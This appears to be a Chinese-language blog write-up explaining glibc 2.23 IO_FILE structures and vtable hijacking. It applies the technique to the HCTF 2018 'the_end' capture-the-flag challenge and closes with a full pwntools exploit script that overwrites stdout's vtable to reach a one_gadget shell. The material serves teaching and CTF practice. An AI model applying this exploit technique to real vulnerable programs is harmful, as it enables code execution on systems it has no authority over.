IO_FILE 利用的基础知识

源码跟踪

通过grep可以查看一些到对应的代码在哪

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
giantbranch@ubuntu:~$ grep "struct _IO_FILE " -r ./glibc-2.23/
./glibc-2.23/libio/libioP.h:typedef struct _IO_FILE *_IO_ITER;
./glibc-2.23/libio/libio.h: struct _IO_FILE *_sbuf;
./glibc-2.23/libio/libio.h:struct _IO_FILE {
./glibc-2.23/libio/libio.h: struct _IO_FILE *_chain;
./glibc-2.23/libio/libio.h: struct _IO_FILE _file;
./glibc-2.23/libio/libio.h: struct _IO_FILE *_freeres_list;
./glibc-2.23/libio/libio.h:typedef struct _IO_FILE _IO_FILE;
./glibc-2.23/libio/stdio.h:typedef struct _IO_FILE FILE;
./glibc-2.23/libio/stdio.h:typedef struct _IO_FILE __FILE;
./glibc-2.23/libio/stdio.h:extern struct _IO_FILE *stdin; /* Standard input stream. */
./glibc-2.23/libio/stdio.h:extern struct _IO_FILE *stdout; /* Standard output stream. */
./glibc-2.23/libio/stdio.h:extern struct _IO_FILE *stderr; /* Standard error output stream. */
./glibc-2.23/libio/strfile.h: struct _IO_FILE _f;
./glibc-2.23/libio/genops.c: struct _IO_FILE **f;
./glibc-2.23/libio/genops.c: struct _IO_FILE *fp;
./glibc-2.23/libio/genops.c: struct _IO_FILE *fp;
./glibc-2.23/libio/genops.c: struct _IO_FILE *fp;
./glibc-2.23/ChangeLog.17: * libio/stdio.h: Define struct _IO_FILE in global namespace.

至于源码可以通过命令下载

1
apt-get source libc6-dev

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */

struct _IO_marker *_markers;

struct _IO_FILE *_chain;

int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */

#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];

/* char* _save_gptr; char* _save_egptr; */

_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

其中多个_IO_FILE以struct _IO_FILE *_chain;相连组成链表,头指针是_IO_list_all

可以看到链表的指向是_IO_list_all到2 1 0

1
2
3
4
5
6
7
8
gdb-peda$ p _IO_list_all
$24 = (struct _IO_FILE_plus *) 0x7ffff7dd2540 <_IO_2_1_stderr_>
gdb-peda$ p ((struct _IO_FILE *)0x7ffff7dd2540)._chain
$29 = (struct _IO_FILE *) 0x7ffff7dd2620 <_IO_2_1_stdout_>
gdb-peda$ p ((struct _IO_FILE *)0x7ffff7dd2620)._chain
$30 = (struct _IO_FILE *) 0x7ffff7dd18e0 <_IO_2_1_stdin_>
gdb-peda$ p ((struct _IO_FILE *)0x7ffff7dd18e0)._chain
$31 = (struct _IO_FILE *) 0x0

更进一步,有一个_IO_FILE_plus,其实他就多一个jump table

1
2
3
4
5
struct _IO_FILE_plus
{
FILE file;
const struct _IO_jump_t *vtable;
};

因为这个file就是_IO_FILE

1
2
3
struct _IO_FILE;
/* The opaque type of streams. This is the definition used elsewhere. */
typedef struct _IO_FILE FILE;

这个table就是函数指针

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
};

那么我们就有可能通过vtable劫持控制流

vtable 劫持分为两种,一种是直接改写 vtable 中的函数指针,通过任意地址写就可以实现。另一种是覆盖 vtable 的指针指向我们控制的内存,然后在其中布置函数指针。

例子

https://github.com/ctf-wiki/ctf-challenges/blob/master/pwn/io-file/2018_hctf_the_end/the_end

只有5个写一字节的机会,那我们只能通过exit劫持控制流

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
signed int i; // [rsp+4h] [rbp-Ch]
void *buf; // [rsp+8h] [rbp-8h]

sleep(0);
printf("here is a gift %p, good luck ;)\n", &sleep);
fflush(_bss_start);
close(1);
close(2);
for ( i = 0; i <= 4; ++i )
{
read(0, &buf, 8uLL);
read(0, buf, 1uLL);
}
exit(1337);
}

exit会调用_IO_unbuffer_all,里面会调用setbuf
我们可以对setbuf下断点,即_IO_new_file_setbuf

当然里面也会调用_IO_flush_all_lockp,你去覆盖overflow也是可以的

不行的话对所有jumptable的函数都下个断点,那就知道会调用哪个了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
gdb-peda$ p _IO_2_1_stdout_ 
$41 = {
file = {
_flags = 0xfbad2a84,
_IO_read_ptr = 0x555555756010 "here is a gift "...,
_IO_read_end = 0x555555756010 "here is a gift "...,
_IO_read_base = 0x555555756010 "here is a gift "...,
_IO_write_base = 0x555555756010 "here is a gift "...,
_IO_write_ptr = 0x555555756010 "here is a gift "...,
_IO_write_end = 0x555555756010 "here is a gift "...,
_IO_buf_base = 0x555555756010 "here is a gift "...,
_IO_buf_end = 0x555555756410 "",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7ffff7dd18e0 <_IO_2_1_stdin_>,
_fileno = 0x1,
_flags2 = 0x0,
_old_offset = 0xffffffffffffffff,
_cur_column = 0x0,
_vtable_offset = 0x0,
_shortbuf = "",
_lock = 0x7ffff7dd3780 <_IO_stdfile_1_lock>,
_offset = 0xffffffffffffffff,
_codecvt = 0x0,
_wide_data = 0x7ffff7dd17a0 <_IO_wide_data_1>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0x0,
_mode = 0xffffffff,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7ffff7dd06e0 <_IO_file_jumps>
}
gdb-peda$ p *(struct _IO_jump_t *)0x7ffff7dd06e0
$45 = {
__dummy = 0x0,
__dummy2 = 0x0,
__finish = 0x7ffff7a869c0 <_IO_new_file_finish>,
__overflow = 0x7ffff7a87730 <_IO_new_file_overflow>,
__underflow = 0x7ffff7a874a0 <_IO_new_file_underflow>,
__uflow = 0x7ffff7a88600 <__GI__IO_default_uflow>,
__pbackfail = 0x7ffff7a89980 <__GI__IO_default_pbackfail>,
__xsputn = 0x7ffff7a861e0 <_IO_new_file_xsputn>,
__xsgetn = 0x7ffff7a85ec0 <__GI__IO_file_xsgetn>,
__seekoff = 0x7ffff7a854c0 <_IO_new_file_seekoff>,
__seekpos = 0x7ffff7a88a00 <_IO_default_seekpos>,
__setbuf = 0x7ffff7a85430 <_IO_new_file_setbuf>,
__sync = 0x7ffff7a85370 <_IO_new_file_sync>,
__doallocate = 0x7ffff7a7a180 <__GI__IO_file_doallocate>,
__read = 0x7ffff7a861a0 <__GI__IO_file_read>,
__write = 0x7ffff7a85b70 <_IO_new_file_write>,
__seek = 0x7ffff7a85970 <__GI__IO_file_seek>,
__close = 0x7ffff7a85340 <__GI__IO_file_close>,
__stat = 0x7ffff7a85b60 <__GI__IO_file_stat>,
__showmanyc = 0x7ffff7a89af0 <_IO_default_showmanyc>,
__imbue = 0x7ffff7a89b00 <_IO_default_imbue>
}

下断点后,断下来,可以看到exit调用了它

1
2
3
4
5
6
7
8
9
gdb-peda$ bt
#0 _IO_new_file_setbuf (fp=0x7ffff7dd2620 <_IO_2_1_stdout_>, p=0x0, len=0x0) at fileops.c:450
#1 0x00007ffff7a8939f in _IO_unbuffer_all () at genops.c:915
#2 _IO_cleanup () at genops.c:960
#3 0x00007ffff7a46f9b in __run_exit_handlers (status=0x539, listp=<optimized out>, run_list_atexit=run_list_atexit@entry=0x1) at exit.c:95
#4 0x00007ffff7a47045 in __GI_exit (status=<optimized out>) at exit.c:104
#5 0x0000555555554969 in ?? ()
#6 0x00007ffff7a2d830 in __libc_start_main (main=0x5555555548d0, argc=0x1, argv=0x7fffffffe558, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe548) at ../csu/libc-start.c:291
#7 0x00005555555547c9 in ?? ()

那个伪造的vtable地址+0x58的位置必须跟one_gadget的高5位都是一致的

由于本地的libc没有一个onegadget满足条件,所以没成功,但是是成功起shell了

1
2
3
4
5
6
gdb-peda$ c
Continuing.
process 49883 is executing new program: /bin/dash
Warning:
Cannot insert breakpoint 5.
Cannot access memory at address 0x7fae55ca7216

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Date : 2018-12-14 18:25:22
# @Author : giantbranch (giantbranch@gmail.com)
# @Link : http://www.giantbranch.cn/
# @tags :

from pwn import *
context.log_level = "debug"
p = process("./the_end")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")

vtable_point_offset = 3954424
# onegadget_offset = 0xf02a4
onegadget_offset = 0x45216
fake_vtable_offset = 3953800
fake_vtable_setbuf_offset = fake_vtable_offset + 0x58

def getpid():
print proc.pidof(p)[0]
pause()

p.recvuntil("here is a gift ")
sleep_addr = int(p.recvuntil(", good luck")[:-11], 16)
print "sleep_addr = " + hex(sleep_addr)
libc_base = sleep_addr - libc.symbols["sleep"]
print "libc_base = " + hex(libc_base)
vtable_point = libc_base + vtable_point_offset
print "vtable_point = " + hex(vtable_point)
onegadget = libc_base + onegadget_offset
print "onegadget = " + hex(onegadget)
fake_vtable = libc_base + fake_vtable_offset
print "fake_vtable = " + hex(fake_vtable)
fake_vtable_setbuf = libc_base + fake_vtable_setbuf_offset
print "fake_vtable_setbuf = " + hex(fake_vtable_setbuf)


for x in xrange(0,2):
p.send(p64(vtable_point + x))
p.send(p64(fake_vtable)[x])

getpid()

for x in xrange(0,3):
p.send(p64(fake_vtable_setbuf + x))
p.send(p64(onegadget)[x])

p.sendline("cat /flag >&0")

p.interactive()

reference

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/io_file/introduction/

打赏专区